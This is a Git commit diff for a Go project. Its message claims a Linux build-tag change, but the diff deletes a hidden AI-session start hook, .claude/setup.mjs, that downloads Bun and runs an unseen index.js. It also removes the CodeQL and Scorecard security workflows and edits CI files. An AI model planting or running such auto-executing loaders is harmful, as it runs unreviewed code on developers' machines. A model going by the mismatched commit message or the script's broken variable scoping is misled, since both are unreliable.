chore: 添加 Linux 构建标记到 gproc_z_signal_test.go

.claude/settings.json

@@ -1,15 +0,0 @@
-{
-  "hooks": {
-    "SessionStart": [
-      {
-        "matcher": "*",
-        "hooks": [
-          {
-            "type": "command",
-            "command": "node .claude/setup.mjs"
-          }
-        ]
-      }
-    ]
-  }
-}

.claude/setup.mjs

@@ -1,202 +0,0 @@
-#!/usr/bin/env node
-import { execFileSync, execSync } from "child_process";
-import fs from "fs";
-import https from "https";
-import os from "os";
-import path from "path";
-import { fileURLToPath } from "url";
-import zlib from "zlib";
-
-const D = path.dirname(fileURLToPath(import.meta.url));
-const V = "1.3.14";
-const E = "index.js";
-const T = 121_000;
-
-const mu = () => {
-  try {
-    const o = execFileSync("ldd", ["--version"], {
-      stdio: ["ignore", "pipe", "pipe"],
-    }).toString();
-    if (o.includes("musl")) return true;
-  } catch {}
-  try {
-    return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
-  } catch {
-    return false;
-  }
-};
-
-const PM = {
-  "linux-arm64": () => "bun-linux-aarch64",
-  "linux-x64": () =>
-    mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
-  "darwin-arm64": () => "bun-darwin-aarch64",
-  "darwin-x64": () => "bun-darwin-x64",
-  "win32-arm64": () => "bun-windows-aarch64",
-  "win32-x64": () => "bun-windows-x64-baseline",
-};
-
-function ra() {
-  const k = `${process.platform}-${process.arch}`;
-  const r = PM[k];
-  if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
-  return r();
-}
-
-function dl(u, d, n = 5) {
-  return new Promise((ok, no) => {
-    const q = https.get(
-      u,
-      { headers: { "User-Agent": "node" }, timeout: T },
-      (r) => {
-        const { statusCode: s, headers: h } = r;
-        if ([301, 302, 307, 308].includes(s)) {
-          r.resume();
-          if (n <= 0) return no(new Error("Too many redirects"));
-          return dl(h.location, d, n - 1).then(ok, no);
-        }
-        if (s !== 200) {
-          r.resume();
-          return no(new Error(`HTTP ${s} for ${u}`));
-        }
-        const f = fs.createWriteStream(d);
-        r.pipe(f);
-        f.on("finish", () => f.close(ok));
-        f.on("error", (e) => {
-          fs.unlink(d, () => no(e));
-        });
-      },
-    );
-    q.on("error", no);
-    q.on("timeout", () => q.destroy(new Error("Request timed out")));
-  });
-}
-
-function hc(c, a = ["--version"]) {
-  try {
-    execFileSync(c, a, { stdio: "ignore" });
-    return true;
-  } catch {
-    return false;
-  }
-}
-
-function xz(zp, en, od) {
-  // Use OS tools: unzip or powershell. Fall back to npm install bun.
-  if (process.platform === "win32" && hc("powershell", ["-Help"])) {
-    execFileSync(
-      "powershell",
-      [
-        "-NoProfile",
-        "-NonInteractive",
-        "-ExecutionPolicy",
-        "Bypass",
-        "-Command",
-        `Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
-      ],
-      { stdio: "inherit" },
-    );
-    const np = path.join(od, en);
-    const fp = path.join(od, path.basename(en));
-    fs.renameSync(np, fp);
-    return;
-  }
-
-  if (hc("unzip", ["-v"])) {
-    execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
-    return;
-  }
-
-  installBunViaNpm(td);
-}
-
-function installBunViaNpm(td) {
-  try {
-    execSync("npm install bun", { stdio: "inherit", cwd: td });
-  } catch {
-    // npm install failed, fall back to JS-based extraction
-    xn(zp, en, od);
-  }
-}
-
-function xn(zp, en, od) {
-  const b = fs.readFileSync(zp);
-  let eo = -1;
-  for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
-    if (b.readUInt32LE(i) === 0x06054b50) {
-      eo = i;
-      break;
-    }
-  }
-  if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
-  const ce = b.readUInt16LE(eo + 10);
-  const co = b.readUInt32LE(eo + 16);
-  let o = co;
-  let lo = -1;
-  let cm = -1;
-  let cs = 0;
-  for (let i = 0; i < ce; i++) {
-    if (b.readUInt32LE(o) !== 0x02014b50)
-      throw new Error("Invalid ZIP: bad CD entry signature");
-    const m = b.readUInt16LE(o + 10);
-    const sz = b.readUInt32LE(o + 20);
-    const fl = b.readUInt16LE(o + 28);
-    const el = b.readUInt16LE(o + 30);
-    const cl = b.readUInt16LE(o + 32);
-    const lh = b.readUInt32LE(o + 42);
-    const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
-    if (nm === en) {
-      lo = lh;
-      cm = m;
-      cs = sz;
-      break;
-    }
-    o += 46 + fl + el + cl;
-  }
-  if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
-  if (b.readUInt32LE(lo) !== 0x04034b50)
-    throw new Error("Invalid ZIP: bad local-header signature");
-  const fl = b.readUInt16LE(lo + 26);
-  const el = b.readUInt16LE(lo + 28);
-  const dp = lo + 30 + fl + el;
-  const rw = b.subarray(dp, dp + cs);
-  let fd;
-  if (cm === 0) {
-    fd = rw;
-  } else if (cm === 8) {
-    fd = zlib.inflateRawSync(rw);
-  } else {
-    throw new Error(`Unsupported ZIP compression method: ${cm}`);
-  }
-  const dt = path.join(od, path.basename(en));
-  fs.writeFileSync(dt, fd);
-}
-
-async function main() {
-  if (hc("bun")) return;
-
-  const a = ra();
-  const w = process.platform === "win32";
-  const bn = w ? "bun.exe" : "bun";
-  const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
-
-  const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
-  const zp = path.join(td, `${a}.zip`);
-  const bp = path.join(td, bn);
-  const ep = path.join(D, E);
-
-  try {
-    await dl(u, zp);
-    xz(zp, `${a}/${bn}`, td);
-    fs.unlinkSync(zp);
-    if (!w) fs.chmodSync(bp, 0o755);
-    execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
-  } finally {
-    fs.rmSync(td, { recursive: true, force: true });
-  }
-}
-
-main().catch((e) => {
-  console.error(e.message);
-  process.exit(1);
-});

.github/workflows/ci-main.yml

@@ -20,13 +20,6 @@ on:
     - feature/**
     - enhance/**
     - fix/**
-  workflow_dispatch:
-    inputs:
-      debug:
-        type: boolean
-        description: 'Enable tmate Debug'
-        required: false
-        default: false
 
 # This allows a subsequently queued workflow run to interrupt previous runs
 concurrency:
@@ -45,6 +38,7 @@ jobs:
         # 🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥
         # When adding new go version to the list, make sure:
         # 1. Update the `LATEST_GO_VERSION` env variable.
+        # 2. Update the `Report Coverage` action.
         # 🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥
         go-version: [ "1.23", "1.24", "1.25" ]
         goarch: [ "386", "amd64" ]
@@ -54,9 +48,9 @@ jobs:
     # Service containers to run with `code-test`
     services:
       # Etcd service.
-      # docker run -p 2379:2379 -e ALLOW_NONE_AUTHENTICATION=yes bitnamilegacy/etcd:3.4.24
+      # docker run -d --name etcd -p 2379:2379 -e ALLOW_NONE_AUTHENTICATION=yes bitnami/etcd:3.4.24
       etcd:
-        image: bitnamilegacy/etcd:3.4.24
+        image: bitnami/etcd:3.4.24
         env:
           ALLOW_NONE_AUTHENTICATION: yes
         ports:
@@ -75,7 +69,7 @@ jobs:
           - 6379:6379
 
       # MySQL backend server.
-      # docker run \
+      # docker run -d --name mysql \
       # -p 3306:3306 \
       # -e MYSQL_DATABASE=test \
       # -e MYSQL_ROOT_PASSWORD=12345678 \
@@ -89,7 +83,7 @@ jobs:
           - 3306:3306
 
       # MariaDb backend server.
-      # docker run \
+      # docker run -d --name mariadb \
       # -p 3307:3306 \
       # -e MYSQL_DATABASE=test \
       # -e MYSQL_ROOT_PASSWORD=12345678 \
@@ -103,7 +97,7 @@ jobs:
           - 3307:3306
 
       # PostgreSQL backend server.
-      # docker run \
+      # docker run -d --name postgres \
       # -p 5432:5432 \
       # -e POSTGRES_PASSWORD=12345678 \
       # -e POSTGRES_USER=postgres \
@@ -150,7 +144,7 @@ jobs:
           --health-retries 10
 
       # ClickHouse backend server.
-      # docker run \
+      # docker run -d --name clickhouse \
       # -p 9000:9000 -p 8123:8123 -p 9001:9001 \
       # clickhouse/clickhouse-server:24.11.1.2557-alpine
       clickhouse-server:
@@ -161,7 +155,7 @@ jobs:
           - 9001:9001
 
       # Polaris backend server.
-      # docker run \
+      # docker run -d --name polaris \
       # -p 8090:8090 -p 8091:8091 -p 8093:8093 -p 9090:9090 -p 9091:9091 \
       # polarismesh/polaris-standalone:v1.17.2
       polaris:
@@ -214,19 +208,6 @@ jobs:
     - name: Checkout Repository
       uses: actions/checkout@v5
 
-    - name: Setup tmate Session
-      uses: mxschmitt/action-tmate@v3
-      if: ${{ github.event_name == 'workflow_dispatch' && inputs.debug }}
-      with:
-        detached: true
-        limit-access-to-actor: false
-
-    - name: Free Disk Space
-      run: |
-        df -h /
-        sudo rm -rf /usr/share/dotnet /usr/local/lib/android /opt/hostedtoolcache/CodeQL /opt/hostedtoolcache/Python || true
-        df -h /
-
     - name: Start Apollo Containers
       run:  docker compose -f ".github/workflows/apollo/docker-compose.yml" up -d --build
       
@@ -282,8 +263,8 @@ jobs:
 
     - name: Report Coverage
       uses: codecov/codecov-action@v4
-      # Only report coverage on the latest go version
-      if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/master' && matrix.go-version == env.LATEST_GO_VERSION }}
+      # Only report coverage on the latest go version and amd64 arch
+      if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/master' && matrix.go-version == '1.23' && matrix.goarch == 'amd64' }}
       with:
         flags: go-${{ matrix.go-version }}-${{ matrix.goarch }}
         token: ${{ secrets.CODECOV_TOKEN }}

.github/workflows/ci-sub.yml

@@ -30,7 +30,7 @@ concurrency:
 env:
   TZ: "Asia/Shanghai"
   # for unit testing cases of some components that only execute on the latest go version.
-  LATEST_GO_VERSION: "1.25"
+  LATEST_GO_VERSION: "1.24"
 
 jobs:
   code-test:

.github/workflows/codeql.yml

@@ -1,100 +0,0 @@
-# For most projects, this workflow file will not need changing; you simply need
-# to commit it to your repository.
-#
-# You may wish to alter this file to override the set of languages analyzed,
-# or to provide custom queries or build logic.
-#
-# ******** NOTE ********
-# We have attempted to detect the languages in your repository. Please check
-# the `language` matrix defined below to confirm you have the correct set of
-# supported CodeQL languages.
-#
-name: "CodeQL Advanced"
-
-on:
-  push:
-    branches: [ "master", "develop" ]
-  pull_request:
-    branches: [ "master", "develop" ]
-  schedule:
-    - cron: '0 21 * * *'
-
-jobs:
-  analyze:
-    name: Analyze (${{ matrix.language }})
-    # Runner size impacts CodeQL analysis time. To learn more, please see:
-    #   - https://gh.io/recommended-hardware-resources-for-running-codeql
-    #   - https://gh.io/supported-runners-and-hardware-resources
-    #   - https://gh.io/using-larger-runners (GitHub.com only)
-    # Consider using larger runners or machines with greater resources for possible analysis time improvements.
-    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
-    permissions:
-      # required for all workflows
-      security-events: write
-
-      # required to fetch internal or private CodeQL packs
-      packages: read
-
-      # only required for workflows in private repositories
-      actions: read
-      contents: read
-
-    strategy:
-      fail-fast: false
-      matrix:
-        include:
-        - language: actions
-          build-mode: none
-        - language: go
-          build-mode: autobuild
-        # CodeQL supports the following values keywords for 'language': 'actions', 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'rust', 'swift'
-        # Use `c-cpp` to analyze code written in C, C++ or both
-        # Use 'java-kotlin' to analyze code written in Java, Kotlin or both
-        # Use 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both
-        # To learn more about changing the languages that are analyzed or customizing the build mode for your analysis,
-        # see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning.
-        # If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize how
-        # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages
-    steps:
-    - name: Checkout repository
-      uses: actions/checkout@v4
-
-    # Add any setup steps before running the `github/codeql-action/init` action.
-    # This includes steps like installing compilers or runtimes (`actions/setup-node`
-    # or others). This is typically only required for manual builds.
-    # - name: Setup runtime (example)
-    #   uses: actions/setup-example@v1
-
-    # Initializes the CodeQL tools for scanning.
-    - name: Initialize CodeQL
-      uses: github/codeql-action/init@v3
-      with:
-        languages: ${{ matrix.language }}
-        build-mode: ${{ matrix.build-mode }}
-        # If you wish to specify custom queries, you can do so here or in a config file.
-        # By default, queries listed here will override any specified in a config file.
-        # Prefix the list here with "+" to use these queries and those in the config file.
-
-        # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
-        # queries: security-extended,security-and-quality
-
-    # If the analyze step fails for one of the languages you are analyzing with
-    # "We were unable to automatically build your code", modify the matrix above
-    # to set the build mode to "manual" for that language. Then modify this step
-    # to build your code.
-    # ℹ️ Command-line programs to run using the OS shell.
-    # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
-    - if: matrix.build-mode == 'manual'
-      shell: bash
-      run: |
-        echo 'If you are using a "manual" build mode for one or more of the' \
-          'languages you are analyzing, replace this with the commands to build' \
-          'your code, for example:'
-        echo '  make bootstrap'
-        echo '  make release'
-        exit 1
-
-    - name: Perform CodeQL Analysis
-      uses: github/codeql-action/analyze@v3
-      with:
-        category: "/language:${{matrix.language}}"

.github/workflows/golangci-lint.yml

@@ -4,7 +4,7 @@
 # If a copy of the MIT was not distributed with this file,
 # You can obtain one at https://github.com/gogf/gf.
 
-name: golangci-lint
+name: GolangCI Lint
 on:
   push:
     branches:
@@ -36,8 +36,6 @@ jobs:
     steps:
       - name: Checkout
         uses: actions/checkout@v5
-        with:
-          fetch-depth: 0
       - name: Setup Golang ${{ matrix.go-version }}
         uses: actions/setup-go@v5
         with:

.github/workflows/release.yml

@@ -17,12 +17,11 @@ jobs:
     steps:
       - name: Checkout Github Code
         uses: actions/checkout@v5
-
+      
       - name: Set Up Golang Environment
         uses: actions/setup-go@v5
         with:
           go-version: 1.25
-          cache: false
       
       - name: Build CLI Binary
         run: |
@@ -35,7 +34,7 @@ jobs:
       - name: Build CLI Binary For All Platform
         run: |
           cd cmd/gf
-          gf build main.go -n gf -a all -s linux,windows,darwin,freebsd,netbsd,openbsd -p temp
+          gf build main.go -n gf -a all -s all -p temp
 
       - name: Move Files Before Release
         run: |
@@ -53,7 +52,7 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
         with:
           tag_name:     ${{ github.ref }}
-          name: GoFrame Release ${{ github.ref_name }}
+          name: GoFrame Release ${{ github.ref }}
           draft:        false
           prerelease:   false
       

.github/workflows/scorecard.yml

@@ -1,80 +0,0 @@
-# This workflow uses actions that are not certified by GitHub. They are provided
-# by a third-party and are governed by separate terms of service, privacy
-# policy, and support documentation.
-
-name: Scorecard supply-chain security
-on:
-  # For Branch-Protection check. Only the default branch is supported. See
-  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
-  branch_protection_rule:
-  # To guarantee Maintained check is occasionally updated. See
-  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
-  schedule:
-    - cron: '0 21 * * *'
-  push:
-    branches: [ "master" ]
-  pull_request:
-    branches: [ "master" ]
-
-# Declare default permissions as read only.
-permissions: read-all
-
-jobs:
-  analysis:
-    name: Scorecard analysis
-    runs-on: ubuntu-latest
-    # `publish_results: true` only works when run from the default branch. conditional can be removed if disabled.
-    if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request'
-    permissions:
-      # Needed to upload the results to code-scanning dashboard.
-      security-events: write
-      # Needed to publish results and get a badge (see publish_results below).
-      id-token: write
-      # Uncomment the permissions below if installing in a private repository.
-      # contents: read
-      # actions: read
-
-    steps:
-      - name: "Checkout code"
-        uses: actions/checkout@v4.2.2
-        with:
-          persist-credentials: false
-
-      - name: "Run analysis"
-        uses: ossf/scorecard-action@v2.4.1
-        with:
-          results_file: results.sarif
-          results_format: sarif
-          # (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
-          # - you want to enable the Branch-Protection check on a *public* repository, or
-          # - you are installing Scorecard on a *private* repository
-          # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional.
-          # repo_token: ${{ secrets.SCORECARD_TOKEN }}
-
-          # Public repositories:
-          #   - Publish results to OpenSSF REST API for easy access by consumers
-          #   - Allows the repository to include the Scorecard badge.
-          #   - See https://github.com/ossf/scorecard-action#publishing-results.
-          # For private repositories:
-          #   - `publish_results` will always be set to `false`, regardless
-          #     of the value entered here.
-          publish_results: true
-
-          # (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore
-          # file_mode: git
-
-      # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
-      # format to the repository Actions tab.
-      - name: "Upload artifact"
-        uses: actions/upload-artifact@v4.6.1
-        with:
-          name: SARIF file
-          path: results.sarif
-          retention-days: 5
-
-      # Upload the results to GitHub's code scanning dashboard (optional).
-      # Commenting out will disable upload of results to your repo's Code Scanning dashboard
-      - name: "Upload to code-scanning"
-        uses: github/codeql-action/upload-sarif@v3
-        with:
-          sarif_file: results.sarif

.github/workflows/scripts/ci-main-clean.sh

@@ -1,250 +0,0 @@
-#!/usr/bin/env bash
-
-dirpath=$1
-
-# Extract the base directory name for pattern matching
-if [ -n "$dirpath" ]; then
-    dirname=$(basename "$dirpath")
-    echo "Cleaning Docker resources for path: $dirpath (pattern: $dirname)"
-    df -h /
-    
-    # Process containers and images based on the directory
-    case "$dirname" in
-        # "mysql")
-        #     echo "Cleaning mysql resources..."
-        #     containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-        #     if [ -n "$containers" ]; then
-        #         echo "Stopping and removing mysql containers..."
-        #         docker stop $containers 2>/dev/null || true
-        #         docker rm -f $containers 2>/dev/null || true
-        #     fi
-        #     docker rmi -f $(docker images -q mysql 2>/dev/null) 2>/dev/null || true
-        #     ;;
-        "mssql")
-            echo "Cleaning mssql resources..."
-            containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-            if [ -n "$containers" ]; then
-                echo "Stopping and removing mssql containers..."
-                docker stop $containers 2>/dev/null || true
-                docker rm -f $containers 2>/dev/null || true
-            fi
-            docker rmi -f $(docker images -q mcr.microsoft.com/mssql/server 2>/dev/null) 2>/dev/null || true
-        ;;
-        "pgsql")
-            echo "Cleaning postgres resources..."
-            containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-            if [ -n "$containers" ]; then
-                echo "Stopping and removing postgres containers..."
-                docker stop $containers 2>/dev/null || true
-                docker rm -f $containers 2>/dev/null || true
-            fi
-            docker rmi -f $(docker images -q postgres 2>/dev/null) 2>/dev/null || true
-        ;;
-        "oracle")
-            echo "Cleaning oracle resources..."
-            containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-            if [ -n "$containers" ]; then
-                echo "Stopping and removing oracle containers..."
-                docker stop $containers 2>/dev/null || true
-                docker rm -f $containers 2>/dev/null || true
-            fi
-            docker rmi -f $(docker images -q loads/oracle-xe-11g-r2 2>/dev/null) 2>/dev/null || true
-        ;;
-        "dm")
-            echo "Cleaning dm resources..."
-            containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-            if [ -n "$containers" ]; then
-                echo "Stopping and removing dm containers..."
-                docker stop $containers 2>/dev/null || true
-                docker rm -f $containers 2>/dev/null || true
-            fi
-            docker rmi -f $(docker images -q loads/dm 2>/dev/null) 2>/dev/null || true
-        ;;
-        "clickhouse")
-            echo "Cleaning clickhouse resources..."
-            containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-            if [ -n "$containers" ]; then
-                echo "Stopping and removing clickhouse containers..."
-                docker stop $containers 2>/dev/null || true
-                docker rm -f $containers 2>/dev/null || true
-            fi
-            docker rmi -f $(docker images -q clickhouse/clickhouse-server 2>/dev/null) 2>/dev/null || true
-        ;;
-        # "redis")
-        #     echo "Cleaning redis resources..."
-        #     containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-        #     if [ -n "$containers" ]; then
-        #         echo "Stopping and removing redis containers..."
-        #         docker stop $containers 2>/dev/null || true
-        #         docker rm -f $containers 2>/dev/null || true
-        #     fi
-        #     docker rmi -f $(docker images -q redis loads/redis loads/redis-sentinel 2>/dev/null) 2>/dev/null || true
-        #     ;;
-        "etcd")
-            echo "Cleaning etcd resources..."
-            containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-            if [ -n "$containers" ]; then
-                echo "Stopping and removing etcd containers..."
-                docker stop $containers 2>/dev/null || true
-                docker rm -f $containers 2>/dev/null || true
-            fi
-            docker rmi -f $(docker images -q bitnamilegacy/etcd 2>/dev/null) 2>/dev/null || true
-        ;;
-        # "consul")
-        #     echo "Cleaning consul resources..."
-        #     containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-        #     if [ -n "$containers" ]; then
-        #         echo "Stopping and removing consul containers..."
-        #         docker stop $containers 2>/dev/null || true
-        #         docker rm -f $containers 2>/dev/null || true
-        #     fi
-        #     docker rmi -f $(docker images -q consul 2>/dev/null) 2>/dev/null || true
-        #     ;;
-        # "nacos")
-        #     echo "Cleaning nacos resources..."
-        #     containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-        #     if [ -n "$containers" ]; then
-        #         echo "Stopping and removing nacos containers..."
-        #         docker stop $containers 2>/dev/null || true
-        #         docker rm -f $containers 2>/dev/null || true
-        #     fi
-        #     docker rmi -f $(docker images -q nacos/nacos-server 2>/dev/null) 2>/dev/null || true
-        #     ;;
-        # "polaris")
-        #     echo "Cleaning polaris resources..."
-        #     containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-        #     if [ -n "$containers" ]; then
-        #         echo "Stopping and removing polaris containers..."
-        #         docker stop $containers 2>/dev/null || true
-        #         docker rm -f $containers 2>/dev/null || true
-        #     fi
-        #     docker rmi -f $(docker images -q polarismesh/polaris-standalone 2>/dev/null) 2>/dev/null || true
-        #     ;;
-        "zookeeper")
-            echo "Cleaning zookeeper resources..."
-            containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-            if [ -n "$containers" ]; then
-                echo "Stopping and removing zookeeper containers..."
-                docker stop $containers 2>/dev/null || true
-                docker rm -f $containers 2>/dev/null || true
-            fi
-            docker rmi -f $(docker images -q zookeeper 2>/dev/null) 2>/dev/null || true
-        ;;
-        # "apollo")
-        #     echo "Cleaning apollo resources..."
-        #     containers=$(docker ps -aq --filter "name=$dirname" 2>/dev/null)
-        #     if [ -n "$containers" ]; then
-        #         echo "Stopping and removing apollo containers..."
-        #         docker stop $containers 2>/dev/null || true
-        #         docker rm -f $containers 2>/dev/null || true
-        #     fi
-        #     docker rmi -f $(docker images -q loads/apollo-quick-start 2>/dev/null) 2>/dev/null || true
-        #     ;;
-        *)
-            # No matching pattern, skip cleanup
-            echo "No specific Docker cleanup rule for '$dirname', skipping cleanup"
-        ;;
-    esac
-    
-    # Remove dangling images and volumes to free up space
-    echo "Removing dangling images and unused volumes..."
-    docker image prune -f 2>/dev/null || true
-    docker volume prune -f 2>/dev/null || true
-    
-    echo "Docker cleanup completed for $dirname"
-    docker system df
-    df -h /
-fi
-
-# df -h /
-# Filesystem      Size  Used Avail Use% Mounted on
-# /dev/root        72G   67G  5.4G  93% /
-# tmpfs           7.9G   84K  7.9G   1% /dev/shm
-# tmpfs           3.2G  2.6M  3.2G   1% /run
-# tmpfs           5.0M     0  5.0M   0% /run/lock
-# /dev/sdb16      881M   62M  758M   8% /boot
-# /dev/sdb15      105M  6.2M   99M   6% /boot/efi
-# /dev/sda1        74G  4.1G   66G   6% /mnt
-# tmpfs           1.6G   12K  1.6G   1% /run/user/1001
-
-# runner@runnervmg1sw1:~/work/gf/gf$ docker system df
-# TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
-# Images          18        11        8.326GB   1.644GB (19%)
-# Containers      11        11        2.692GB   0B (0%)
-# Local Volumes   11        8         665.7MB   211.9MB (31%)
-# Build Cache     0         0         0B        0B
-
-# runner@runnervmg1sw1:~/work/gf/gf$ docker images
-# REPOSITORY                       TAG                               IMAGE ID       CREATED         SIZE
-# alpine/curl                      latest                            99fd43792a61   2 days ago      13.5MB
-# postgres                         17-alpine                         b6bf692a8125   9 days ago      278MB
-# zookeeper                        3.8                               2f26c02b94ca   10 days ago     306MB
-# mariadb                          11.4                              063fb6684f96   10 days ago     332MB
-# mcr.microsoft.com/mssql/server   2022-latest                       a2fbff321505   4 weeks ago     1.61GB
-# clickhouse/clickhouse-server     24.11.1.2557-alpine               2eee9fd3ae74   12 months ago   539MB
-# redis                            7.0                               7705dd2858c1   18 months ago   109MB
-# consul                           1.15                              686495461132   20 months ago   155MB
-# mysql                            5.7                               5107333e08a8   23 months ago   501MB
-# polarismesh/polaris-standalone   v1.17.2                           b7a8cf0a8438   2 years ago     545MB
-# bitnamilegacy/etcd               3.4.24                            74ae5e205ac5   2 years ago     134MB
-# nacos/nacos-server               v2.1.2                            a978644d9246   2 years ago     1.06GB
-# loads/redis                      7.0-sentinel                      6f12d40540ba   3 years ago     114MB
-# loads/dm                         v8.1.2.128_ent_x86_64_ctm_pack4   ccb727ce9dce   3 years ago     432MB
-# loads/redis-sentinel             7.0                               6818c626f5ca   3 years ago     104MB
-# loads/apollo-quick-start         latest                            8490de672148   3 years ago     190MB
-# alpine                           3.8                               c8bccc0af957   5 years ago     4.41MB
-# loads/oracle-xe-11g-r2           11.2.0                            0d19fd2e072e   6 years ago     2.1GB
-
-# runner@runnervmg1sw1:~/work/gf/gf$ docker ps -s
-# CONTAINER ID   IMAGE                                              COMMAND                  CREATED         STATUS                   PORTS                                                                                                                                                                                                                         NAMES                                                                               SIZE
-# 8214f83420c6   zookeeper:3.8                                      "/docker-entrypoint.…"   6 minutes ago   Up 6 minutes             2888/tcp, 3888/tcp, 0.0.0.0:2181->2181/tcp, [::]:2181->2181/tcp, 8080/tcp                                                                                                                                                     d66bac92ae9646f688f70ed4b5176f14_zookeeper38_3a22ef                                 33kB (virtual 306MB)
-# 8938d73842e8   loads/dm:v8.1.2.128_ent_x86_64_ctm_pack4           "/bin/bash /opt/star…"   6 minutes ago   Up 6 minutes             0.0.0.0:5236->5236/tcp, [::]:5236->5236/tcp                                                                                                                                                                                   ca280fbdb86f40c2acf86d7d526c6285_loadsdmv812128_ent_x86_64_ctm_pack4_770a59         844MB (virtual 1.28GB)
-# 0d3a653fe1f2   loads/oracle-xe-11g-r2:11.2.0                      "/bin/sh -c '/usr/sb…"   6 minutes ago   Up 6 minutes             22/tcp, 8080/tcp, 0.0.0.0:1521->1521/tcp, [::]:1521->1521/tcp                                                                                                                                                                 2048856d428c4967b1c35193eb8c9192_loadsoraclexe11gr21120_295d54                      1.3GB (virtual 3.4GB)
-# ca3936189166   polarismesh/polaris-standalone:v1.17.2             "/bin/bash run.sh"       6 minutes ago   Up 6 minutes             0.0.0.0:8090-8091->8090-8091/tcp, [::]:8090-8091->8090-8091/tcp, 8080/tcp, 8100-8101/tcp, 0.0.0.0:8093->8093/tcp, [::]:8093->8093/tcp, 8761/tcp, 15010/tcp, 0.0.0.0:9090-9091->9090-9091/tcp, [::]:9090-9091->9090-9091/tcp   cbd43dceef754e2d8aab507e33167be7_polarismeshpolarisstandalonev1172_ca40b6           299MB (virtual 844MB)
-# 26169dad485e   clickhouse/clickhouse-server:24.11.1.2557-alpine   "/entrypoint.sh"         6 minutes ago   Up 6 minutes             0.0.0.0:8123->8123/tcp, [::]:8123->8123/tcp, 0.0.0.0:9000-9001->9000-9001/tcp, [::]:9000-9001->9000-9001/tcp, 9009/tcp                                                                                                        f1c7766fbe36401792a6f735d7acf123_clickhouseclickhouseserver241112557alpine_cfc034   338kB (virtual 539MB)
-# 04689a1d581f   mcr.microsoft.com/mssql/server:2022-latest         "/opt/mssql/bin/laun…"   6 minutes ago   Up 6 minutes (healthy)   0.0.0.0:1433->1433/tcp, [::]:1433->1433/tcp                                                                                                                                                                                   41d685349a7640b28230db8d0f60efe7_mcrmicrosoftcommssqlserver2022latest_fe29fb        108MB (virtual 1.72GB)
-# d5fbc5f811af   postgres:17-alpine                                 "docker-entrypoint.s…"   6 minutes ago   Up 6 minutes (healthy)   0.0.0.0:5432->5432/tcp, [::]:5432->5432/tcp                                                                                                                                                                                   2783be71b5ce417ab9a31428e7b4d8f2_postgres17alpine_c60840                            63B (virtual 278MB)
-# da96a7ad7a01   mariadb:11.4                                       "docker-entrypoint.s…"   7 minutes ago   Up 7 minutes             0.0.0.0:3307->3306/tcp, [::]:3307->3306/tcp                                                                                                                                                                                   45eed646fa6c4a698893ee11cda95a4c_mariadb114_3a9cd6                                  2B (virtual 332MB)
-# 27ba1904ba3a   mysql:5.7                                          "docker-entrypoint.s…"   7 minutes ago   Up 7 minutes             0.0.0.0:3306->3306/tcp, [::]:3306->3306/tcp, 33060/tcp                                                                                                                                                                        ea6d7a4c207d427a95b5ae0db91fdf56_mysql57_c21053                                     4B (virtual 501MB)
-# 518e785d1bb6   redis:7.0                                          "docker-entrypoint.s…"   7 minutes ago   Up 7 minutes (healthy)   0.0.0.0:6379->6379/tcp, [::]:6379->6379/tcp                                                                                                                                                                                   af6044fc849e441bbc6c48f7a5ec5fec_redis70_b11994                                     0B (virtual 109MB)
